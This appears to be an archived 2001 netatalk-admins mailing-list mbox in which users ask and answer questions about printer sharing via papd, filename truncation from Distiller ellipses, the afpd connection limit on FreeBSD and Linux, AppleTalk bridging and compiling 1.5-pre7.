>I setup up the printer using printconf-gui, and printing works fine
>directly from the Linux box.  This same configuration was working
>fine under RedHat 6.1.
>I'm using Netatalk version.  netatalk-1.4b2+asun2.1.3-6
>
>Any help would be greatly appreciated since Mac OS X doesnt' support my
>serial Epson Stylus Color 800.  (USB ones are no problem).
>
>Thanks,
>        -Roger
>
>Here's what my config files look like:
>
>
>*-snip -*
># /etc/printcap
>stc800|lp:\
>         :sh:\
>         :ml=0:\
>         :mx=0:\
>         :sd=/var/spool/lpd/stc800:\
>         :lp=/dev/lp0:\
>         :lpd_bounce=true:\
>         :if=/usr/share/printconf/mf_wrapper:
>*- snip -*
>
>
>*-snip-*
># /etc/atalk/papd.conf
>stc800:\
>         :pr=stc800:\
>         :op=admin:\
>         :pd=/etc/atalk/EpsonStylusColor800.ppd:
>*-snip-*



From netatalk.administrators-errors@umich.edu  Wed Aug 29 09:36:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA29139
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 09:36:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA08476
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 09:36:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA08455
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 09:36:27 -0400 (EDT)
Received: from mailout00.sul.t-online.de (mailout00.sul.t-online.com [194.25.134.16])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA08253
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 09:36:21 -0400 (EDT)
Received: from fwd06.sul.t-online.de 
	by mailout00.sul.t-online.de with smtp 
	id 15c5W0-00077C-08; Wed, 29 Aug 2001 15:36:20 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.103.156]) by fmrl06.sul.t-online.com
	with esmtp id 15c5Vz-1l0EzoC; Wed, 29 Aug 2001 15:36:19 +0200
Mime-Version: 1.0
Message-Id: <a05100301b7b29fa674f3@[192.168.0.33]>
Date: Wed, 29 Aug 2001 15:38:04 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: file names don't appear right
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA29139

Hi,

I made 3 pdf files on the mac, with names "file.1-1.pdf", 
"file.1-2.pdf", "file.1-3.pdf" which are saved on Macs desktop.
After that I wanted to save them on the linux box - but I can't copy 
the 2nd and 3rd file, cause the names are cut to "file." and the mac 
says "can't copy file 2 because theres another with the same name."

Whats that?
-- 
Mit freundlichen Grüßen
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Der Vorteil der Klugheit besteht darin, daß man sich dumm stellen kann.
Das Gegenteil ist schon schwieriger. (Kurt Tucholsky)

From netatalk.administrators-errors@umich.edu  Wed Aug 29 11:15:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA04841
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 11:15:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA27849
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 11:15:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA27826
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 11:15:36 -0400 (EDT)
Received: from mailout03.sul.t-online.de (mailout03.sul.t-online.com [194.25.134.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA27783
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 11:15:35 -0400 (EDT)
Received: from fwd05.sul.t-online.de 
	by mailout03.sul.t-online.de with smtp 
	id 15c74I-0002Q2-0A; Wed, 29 Aug 2001 17:15:50 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.91.223]) by fmrl05.sul.t-online.com
	with esmtp id 15c74B-1KihAeC; Wed, 29 Aug 2001 17:15:43 +0200
Mime-Version: 1.0
Message-Id: <a05100303b7b2b6fef11a@[192.168.0.33]>
In-Reply-To: <a05100301b7b29fa674f3@[192.168.0.33]>
References: <a05100301b7b29fa674f3@[192.168.0.33]>
Date: Wed, 29 Aug 2001 17:18:00 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Re: file names don't appear right
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA04841

>Hi,
>
>I made 3 pdf files on the mac, with names "file.1-1.pdf", 
>"file.1-2.pdf", "file.1-3.pdf" which are saved on Macs desktop.
>After that I wanted to save them on the linux box - but I can't copy 
>the 2nd and 3rd file, cause the names are cut to "file." and the mac 
>says "can't copy file 2 because theres another with the same name."
>
>Whats that?
>--

I found out that this appears when the Distiller cuts the filenames, 
cause they would be too long with its suffix .pdf.

The filenames written by Distiller are exaktly "file....1.pdf", "file....2.pdf"
By copying to the linux box all after "file." is cut off.
Does anyone know why? I'm using 1.5.6 on suse 7.1
-- 
Mit freundlichen Grüßen
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Der Vorteil der Klugheit besteht darin, daß man sich dumm stellen kann.
Das Gegenteil ist schon schwieriger. (Kurt Tucholsky)

From netatalk.administrators-errors@umich.edu  Wed Aug 29 11:55:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA06725
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 11:55:17 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA12635
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 11:55:17 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA12620
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 11:55:16 -0400 (EDT)
Received: from absinthe2.dyndns.org (adsl-63-192-100-82.dsl.chic01.pacbell.net [63.192.100.82])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA12419
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 11:55:10 -0400 (EDT)
Received: (from fred@localhost)
	by absinthe2.dyndns.org (8.11.3/8.11.3) id f7TFsw856807;
	Wed, 29 Aug 2001 08:54:58 -0700 (PDT)
	(envelope-from fred)
Date: Wed, 29 Aug 2001 08:54:57 -0700
From: Fred Condo <fred@condo.chico.ca.us>
To: "A. Lester Burke" <leburke@mindspring.com>
Cc: "?questions@freebsd.org" <questions@FreeBSD.ORG>,
        netatalk-admins@umich.edu
Subject: Re: max number of concurrent connections
Message-ID: <20010829085457.A56668@absinthe.condo.chico.ca.us>
Mail-Followup-To: "A. Lester Burke" <leburke@mindspring.com>,
	"?questions@freebsd.org" <questions@FreeBSD.ORG>,
	netatalk-admins@umich.edu
References: <3B8CE6AD.6122E248@mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B8CE6AD.6122E248@mindspring.com>; from leburke@mindspring.com on Wed, Aug 29, 2001 at 08:57:09AM -0400

On Wed, Aug 29, 2001 at 08:57:09AM -0400, A. Lester Burke wrote:
> Under the Linux configuration of Netatalk there is a file called config
> that allows for the setting of the maximum number of clients that can
> connect at one time.
> 
> Where is the equivalent parameter set in FreeBSD 4.3.

Assuming you have used the ports mechanism to install netatalk, apply
this patch to /usr/local/etc/rc.d/netatalk.sh:

--- netatalk.sh.old	Wed Aug 29 08:47:50 2001
+++ /usr/local/etc/rc.d/netatalk.sh	Wed Aug 29 08:48:34 2001
@@ -19,7 +19,8 @@
 	/usr/local/bin/nbprgstr -p 4 ${HOSTNAME}:netatalk &
 	/usr/local/sbin/papd
 	/usr/local/sbin/afpd -s /usr/local/etc/AppleVolumes.system \
-		-f /usr/local/etc/AppleVolumes.default
+		-f /usr/local/etc/AppleVolumes.default \
+		-c 36
 	;;
 stop)
 	killall afpd



Next, do these commands:

# /usr/local/etc/rc.d/netatalk.sh stop
# /usr/local/etc/rc.d/netatalk.sh start

The number after -c is the maximum number of connections, so adjust it
to suit your requirements.

From netatalk.administrators-errors@umich.edu  Wed Aug 29 13:54:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA11371
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 13:54:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA02933
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 13:54:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA02909
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 13:54:47 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA02864
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 13:54:46 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 29 Aug 2001 17:54:46 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v4.0.5.R)
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 19:58:04 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 29 Aug 2001 19:50:35 +0200
Subject: Re: file names don't appear right
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7B2F80B.2A704%ts@visual-s.de>
In-Reply-To: <a05100303b7b2b6fef11a@[192.168.0.33]>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA11371

On 2001-08-29 17:18 +0200, Jürgen Weltzer wrote:

>> I made 3 pdf files on the mac, with names "file.1-1.pdf",
>> "file.1-2.pdf", "file.1-3.pdf" which are saved on Macs desktop.
>> After that I wanted to save them on the linux box - but I can't copy
>> the 2nd and 3rd file, cause the names are cut to "file." and the mac
>> says "can't copy file 2 because theres another with the same name."
> 
> I found out that this appears when the Distiller cuts the filenames,
> cause they would be too long with its suffix .pdf.
> 
> The filenames written by Distiller are exaktly "file....1.pdf",
> "file....2.pdf"
> By copying to the linux box all after "file." is cut off.
> Does anyone know why? I'm using 1.5.6 on suse 7.1

Welcome to the joys of non-working code page translation -- Distiller
doesn't name the files "file....1.pdf" etc, in fact the names are
"file.1.pdf" where the first three dots are an ellipsis.

The Netatalk pre series up to pre6 simply cuts filenames where a character
occurs that cannot be translated to the target character set.

Fixed -- or at least improved -- with pre7.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Wed Aug 29 16:42:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA19679
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 16:42:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA10623
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 16:42:33 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA10612
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 16:42:33 -0400 (EDT)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA10446
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 16:42:27 -0400 (EDT)
Received: from ns04-n65-164.de.inter.net ([213.73.65.164] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15cCAW-0006TO-00
	for netatalk-admins@umich.edu; Wed, 29 Aug 2001 22:42:36 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.254])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id WAA05318
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 22:41:55 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: max number of concurrent connections
Date: Wed, 29 Aug 2001 22:26:27 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3B8CE6AD.6122E248@mindspring.com>
In-Reply-To: <3B8CE6AD.6122E248@mindspring.com>
MIME-Version: 1.0
Message-Id: <01082922415500.04090@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA19679

On Wed, 29 Aug 2001, A. Lester Burke wrote:
> Under the Linux configuration of Netatalk there is a file called config
> that allows for the setting of the maximum number of clients that can
> connect at one time.

Actually, under linux there is NO file called "config".
(Of all versions of netatalk I know: 1.4b2+asun, 1.5pre{5,6})

There are four configuration files:

afpd.conf
atalkd.conf
netatalk.conf
papd.conf

usually found under /etc/atalk.

I think there is no specific limitation on the number of clients,
but you can set the maximum number of AFP (AppleShare) clients in afpd.conf:

AFPD_MAX_CLIENTS=20

sets this to 20 ;-)

I think you can't change the maximum number of clients of other protocols (e.g. PAP,NBP,ZIP).

> 
> Where is the equivalent parameter set in FreeBSD 4.3.

The names/path should be equal/similar.

> 
> Thank You
> 
> --
> A. Lester Burke
> Network Analyst
> Arlington Public Schools, VA
> V 703-228-6057
> E leburke@mindspring.com

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Aug 29 17:21:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA21313
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 17:21:19 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA13458
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 17:21:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA13437
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 17:21:04 -0400 (EDT)
Received: from post2.inre.asu.edu (post2.inre.asu.edu [129.219.110.73])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA13398
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 17:21:02 -0400 (EDT)
Received: from conversion.post2.inre.asu.edu by asu.edu (PMDF V6.0-24 #47347)
 id <0GIU00201ICBON@asu.edu> for netatalk-admins@umich.edu; Wed,
 29 Aug 2001 13:02:35 -0700 (MST)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.13.92])
 by asu.edu (PMDF V6.0-24 #47347) with ESMTP id <0GIU001G3ICBDM@asu.edu> for
 netatalk-admins@umich.edu; Wed, 29 Aug 2001 13:02:35 -0700 (MST)
Received: from east.la.asu.edu (east.la.asu.edu [129.219.48.26])
	by smtp.asu.edu (8.9.3/8.9.3) with ESMTP id NAA25099	for
 <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 13:02:36 -0700 (MST)
Received: (from emaple@localhost)	by east.la.asu.edu (8.9.3+Sun/8.9.1)
 id NAA15582	for netatalk-admins@umich.edu; Wed,
 29 Aug 2001 13:02:34 -0700 (MST)
Date: Wed, 29 Aug 2001 13:02:34 -0700 (MST)
From: Ed Maple <emaple@asu.edu>
Subject: appletalk bridging with netatalk?
To: netatalk-admins@umich.edu
Message-id: <200108292002.NAA15582@east.la.asu.edu>
X-Sun-Charset: US-ASCII

Greetings. Has anyone setup a Solaris-based router to bridge appletalk using
netatalk? Is there a way to do it? I didn't find any information in any of the
web resources I could find.

Ed Maple

From netatalk.administrators-errors@umich.edu  Wed Aug 29 18:23:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA24278
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 18:23:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA18855
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 18:23:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA18827
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 18:23:42 -0400 (EDT)
Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.121.49])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA18783
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 18:23:41 -0400 (EDT)
Received: from storage (1Cust62.tnt3.lancaster.pa.da.uu.net [63.26.0.62])
	by scaup.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id PAA20283;
	Wed, 29 Aug 2001 15:23:37 -0700 (PDT)
From: "Ed Schwartz" <ed_schwartz@iu13.k12.pa.us>
To: "Ed Maple" <emaple@asu.edu>, <netatalk-admins@umich.edu>
Subject: RE: appletalk bridging with netatalk?
Date: Wed, 29 Aug 2001 18:28:38 -0400
Message-ID: <HJECKHPOHDPHPABMJFFDOEKLCGAA.ed_schwartz@iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <200108292002.NAA15582@east.la.asu.edu>

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Specify the interfaces in atalkd.conf and netatalk will bridge them
automatically for you.

- -------------------------------------------------------------
|   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
|     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
| "We Trills have an expression--at forty, you think you    |
| know everything.  At four hundred, you realize you know   |
|         nothing." - Dax, Star Trek Deep Space 9           |
- -------------------------------------------------------------

- -----Original Message-----
From: Ed Maple [mailto:emaple@asu.edu]
Sent: Wednesday, August 29, 2001 4:03 PM
To: netatalk-admins@umich.edu
Subject: appletalk bridging with netatalk?


Greetings. Has anyone setup a Solaris-based router to bridge
appletalk using
netatalk? Is there a way to do it? I didn't find any information in
any of the
web resources I could find.

Ed Maple

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
Comment: m00

iQA/AwUBO41sky6XaAWWzd7UEQKz0QCeLF9w1kY8vaCg2+DT4QwEAotpmbYAnRYf
u8zmOpP56Ry+xxap2QaETdlr
=q4Vd
-----END PGP SIGNATURE-----


From netatalk.administrators-errors@umich.edu  Wed Aug 29 19:04:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA26171
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 19:04:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA23937
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 19:04:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA23919
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 19:04:56 -0400 (EDT)
Received: from anch.herhor.net (pi91.katowice.sdi.tpnet.pl [217.96.214.91])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA20640
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 19:03:23 -0400 (EDT)
Received: from dvd (dvd.hehror.net [192.168.0.1])
	by anch.herhor.net (8.11.0/8.8.7) with SMTP id f7TN5D306199
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 01:05:14 +0200
Message-ID: <002c01c130de$972df910$0100a8c0@herhor.net>
From: "Yorky York" <york@anch.herhor.net>
To: "Netatalk-Admins" <netatalk-admins@umich.edu>
Subject: papd.conf problem
Date: Thu, 30 Aug 2001 01:01:51 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Hi,
I want to use my linux (RH 7.2) printer (BJC4550) on PM 4400 with 7.5.3 OS.
I have ppd file and following papd.conf:

:print:\
:pr=lp:op=lp:\
:pd=/etc/atalk/4550.ppd:

I can copy file, use Linux disks but this printer. Why. I'm Macnewbie and I
think something is wrong with my 7.5.3 OS.

Thank You for help :-))

J.


From netatalk.administrators-errors@umich.edu  Thu Aug 30 07:54:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA18598
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 07:54:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA08364
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 07:54:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA08345
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 07:54:02 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA08292
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 07:54:00 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GIVQDV00.NMA for <netatalk-admins@umich.edu>; Thu, 30
          Aug 2001 13:53:55 +0200 
Sender: hollow@kingcreole.mr.itd.umich.edu
Message-ID: <3B8E2953.31647230@fcb-wilkens.com>
Date: Thu, 30 Aug 2001 13:53:55 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: compilation of 1.5-pre7 on redhat?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello all,

I succeeded compiling netatalk-1.5-pre7 on a stock SuSE 7.2 System.
But compilation fails with varying errors on RedHat 7.x using gcc or kgcc.

Did anybody succeed in doing so, and if yes, which versions of
compiler/autotools/libtool were involved?

TIA,
	Harald

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Thu Aug 30 08:24:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA19838
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 08:24:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA00862
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 08:24:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA00846
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 08:24:42 -0400 (EDT)
Received: from mpcomm2e.mainpost.de ([193.102.192.84])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA00794
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 08:24:40 -0400 (EDT)
From: Michael.Kindermann@mainpost.de
Subject: unsubscribe
To: netatalk-admins@umich.edu
X-Mailer: Lotus Notes Release 5.0.4  June 8, 2000
Message-ID: <OF61DB7A3B.5787F6D3-ONC1256AB8.00443E6F@mainpost.de>
Date: Thu, 30 Aug 2001 14:27:04 +0200
X-MIMETrack: Serialize by Router on MPCOMM02/Comm/Mainpost/DE(Release 5.0.4 |June 8, 2000) at
 30.08.2001 14:23:49
MIME-Version: 1.0


From netatalk.administrators-errors@umich.edu  Thu Aug 30 12:48:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA00820
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 30 Aug 2001 12:48:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA08150
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 30 Aug 2001 12:47:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA08092
	for netatalk.administrators-members@umich.edu; Thu, 30 Aug 2001 12:47:49 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA08025
	for <netatalk-admins@umich.edu>; Thu, 30 Aug 2001 12:47:46 -0400 (EDT)
Received: from [172.16.172.241] ([172.16.172.241] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 5625855; Thu, 30 Aug 2001 18:48:00 +0200
Mime-Version: 1.0
X-Sender: rose@mailhost.i.sj.com
Message-Id: <p0433010bb7b41b995f00@[172.16.172.241]>
In-Reply-To: <3B8E2953.31647230@fcb-wilkens.com>
References: <3B8E2953.31647230@fcb-wilkens.com>
Date: Thu, 30 Aug 2001 18:47:57 +0200
To: Harald Wagener <hwagener@fcb-wilkens.com>, netatalk-admins@umich.edu
From: Axel Rose <rose@sj.com>
